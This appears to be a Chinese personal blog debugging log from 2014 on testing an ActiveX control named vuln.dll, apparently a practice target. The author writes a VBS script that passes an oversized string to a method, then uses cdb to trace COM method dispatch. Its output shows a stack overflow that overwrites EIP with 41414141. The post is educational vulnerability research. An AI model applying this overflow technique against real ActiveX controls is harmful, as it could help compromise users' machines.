注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

ActiveX控件测试  

2014-01-23 16:17:56|  分类: 调试记录 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

用vuln.dll作为测试对象

注册regsvr32 vuln.dll即可

或者用word、Excell等的vba里面的引用注册,查看都可以。

用vbs写个简单的测试脚本vuln.vbs内容如下:

msgbox "start"
set o=CreateObject("vuln.Server")
s=String(300,"A")
o.Method1 s
加msgbox那行为了暂停,不然直接结束没法附加调试器。

cdb附加调试cdb -pn wscript.exe

在载入vuln.dll时中断,sxe ld:vuln.dll

中断后查看一下vuln.dll的导出函数

0:000> x vuln!*
010b1776 vuln!DllCanUnloadNow
010b178b vuln!DllGetClassObject
010b17a8 vuln!DllRegisterServer
010b17bb vuln!DllUnregisterServer
在DllGetClassObject那个函数下断点,它的第三个函数函数返回时是个**ppv

中断在

vuln!DllGetClassObject:
010b178b 55              push    ebp
查看堆栈

0:000> dd esp
0013e40c  769b0eaa 0017fde4 0013edc0 【0013e49c】
0013e41c  00000000 0016a008 0013e43c 769c1508
运行到返回点gu

查看堆栈参数所指向的数据

ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x2d:
769b0eaa 8bd8            mov     ebx,eax
0:000> dd 0013e49c l1
0013e49c  01c41e98
0:000> dd 01c41e98 l1
01c41e98  010b9148
0:000> dds 010b9148
010b9148  010b1b10 vuln!DllUnregisterServer+0x355
010b914c  010b1a40 vuln!DllUnregisterServer+0x285
010b9150  010b1a90 vuln!DllUnregisterServer+0x2d5
010b9154  010b3640 vuln!DllUnregisterServer+0x1e85
010b9158  010b36c0 vuln!DllUnregisterServer+0x1f05
010b915c  010b1568 vuln+0x1568
010b9160  010b1568 vuln+0x1568
010b9164  010b1568 vuln+0x1568
010b9168  010b3640 vuln!DllUnregisterServer+0x1e85
010b916c  010b36c0 vuln!DllUnregisterServer+0x1f05
010b9170  010b33f0 vuln!DllUnregisterServer+0x1c35
010b9174  010b3400 vuln!DllUnregisterServer+0x1c45
010b9178  010b3410 vuln!DllUnregisterServer+0x1c55
010b917c  010b2250 vuln!DllUnregisterServer+0xa95
010b9180  010b2270 vuln!DllUnregisterServer+0xab5
010b9184  010b2290 vuln!DllUnregisterServer+0xad5
010b9188  010b22c0 vuln!DllUnregisterServer+0xb05
010b918c  【010b1005】 vuln+0x1005
010b9190  【010b1254】 vuln+0x1254
010b9194  【010b125d】 vuln+0x125d
010b9198  【010b10cf】 vuln+0x10cf
010b919c  【010b1355】 vuln+0x1355
010b91a0  010b2680 vuln!DllUnregisterServer+0xec5
010b91a4  010b2610 vuln!DllUnregisterServer+0xe55
010b91a8  010b2630 vuln!DllUnregisterServer+0xe75
010b91ac  010b1ff0 vuln!DllUnregisterServer+0x835
010b91b0  010b21b0 vuln!DllUnregisterServer+0x9f5
010b91b4  ffffffff
上面几个可疑的地址估计就是对应的地址。具体是哪个要研究一下他们的数据类型。

0:000> bp 010b1005
0:000> g
Breakpoint 1 hit
eax=7ffdf000 ebx=010b9170 ecx=010b1005 edx=0018cd42 esi=0018ccf4 edi=00000000
eip=010b1005 esp=0013eebc ebp=0013eed8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vuln+0x1005:
010b1005 55              push    ebp
0:000> kn
 # ChildEBP RetAddr 
00 0013eeb8 77105cf9 vuln+0x1005
01 0013eed8 77106308 OLEAUT32!DispCallFunc+0x16a
02 0013ef68 010b3980 OLEAUT32!CTypeInfo2::Invoke+0x234
03 0013ef98 010b22f2 vuln!DllUnregisterServer+0x21c5
04 0013efc4 73273eb7 vuln!DllUnregisterServer+0xb37
。。。

或者用网上的方法:

下断点bp OLEAUT32!DispCallFunc

再pct到call ecx即可

0:000> pct
eax=7ffdf000 ebx=01cc9170 ecx=01cc1005 edx=0018cd3a esi=0018ccec edi=00000000
eip=77105cf7 esp=0013eec0 ebp=0013eed8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
OLEAUT32!DispCallFunc+0x168:
77105cf7 ffd1            call    ecx {vuln+0x1005 (01cc1005)}
0:000> t
eax=7ffdf000 ebx=01cc9170 ecx=01cc1005 edx=0018cd3a esi=0018ccec edi=00000000
eip=01cc1005 esp=0013eebc ebp=0013eed8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vuln+0x1005:
01cc1005 55              push    ebp

0:000> pct
eax=0018d6ac ebx=010b9170 ecx=0018d6ac edx=0018cd42 esi=0018ccf4 edi=0013eeac
eip=010b104b esp=0013edcc ebp=0013eeb8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vuln+0x104b:
010b104b ff1598900b01    call    kernel32!lstrlenW (7c809aa9)}
0:000>
eax=0000025c ebx=010b9170 ecx=7c809ad6 edx=0000025a esi=0018ccf4 edi=0013eeac
eip=010b1066 esp=0013edd0 ebp=0013eeb8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vuln+0x1066:
010b1066 e8752f0000      call    vuln!DllUnregisterServer+0x2825 (010b3fe0)
0:000>
eax=0000025a ebx=010b9170 ecx=0018d6ac edx=0013eb74 esi=0018ccf4 edi=0013eeac
eip=010b1083 esp=0013eb68 ebp=0013eeb8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vuln+0x1083:
010b1083 e8c8030000      call    vuln+0x1450 (010b1450)
0:000>
eax=0013eb74 ebx=010b9170 ecx=0013eb74 edx=0013ede4 esi=0018ccf4 edi=0013eeac
eip=010b10a2 esp=0013eb6c ebp=0013eeb8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vuln+0x10a2:
010b10a2 e8492e0000      call    vuln!DllUnregisterServer+0x2735 (010b3ef0)
0:000>
eax=0013ede4 ebx=010b9170 ecx=0013eca4 edx=77da6a00 esi=0018ccf4 edi=0013eeac
eip=010b10ba esp=0013eb64 ebp=0013eeb8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
vuln+0x10ba:
010b10ba ff15f8900b01    call    USER32!MessageBoxA (77d507ea)}
0:000>
eax=00000000 ebx=010b9170 ecx=7c93005d edx=00360003 esi=0018ccf4 edi=00000000
eip=010b10cc esp=0013eebc ebp=【41414141】 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vuln+0x10cc:
010b10cc c20c00          ret     0Ch
0:000>
eax=00000000 ebx=010b9170 ecx=7c93005d edx=00360003 esi=0018ccf4 edi=00000000
eip=【41414141】 esp=0013eecc ebp=【41414141】 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
<Unloaded_xt.dll>+0x41414140:
41414141 ??              ???

另外,是不是可以直接从二进制文件中直接搜出这些ActiveX函数的对应地址,就像搜rpc函数地址一样。

这个估计弄清COM原理之后才知道了。

  评论这张
 
阅读(339)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017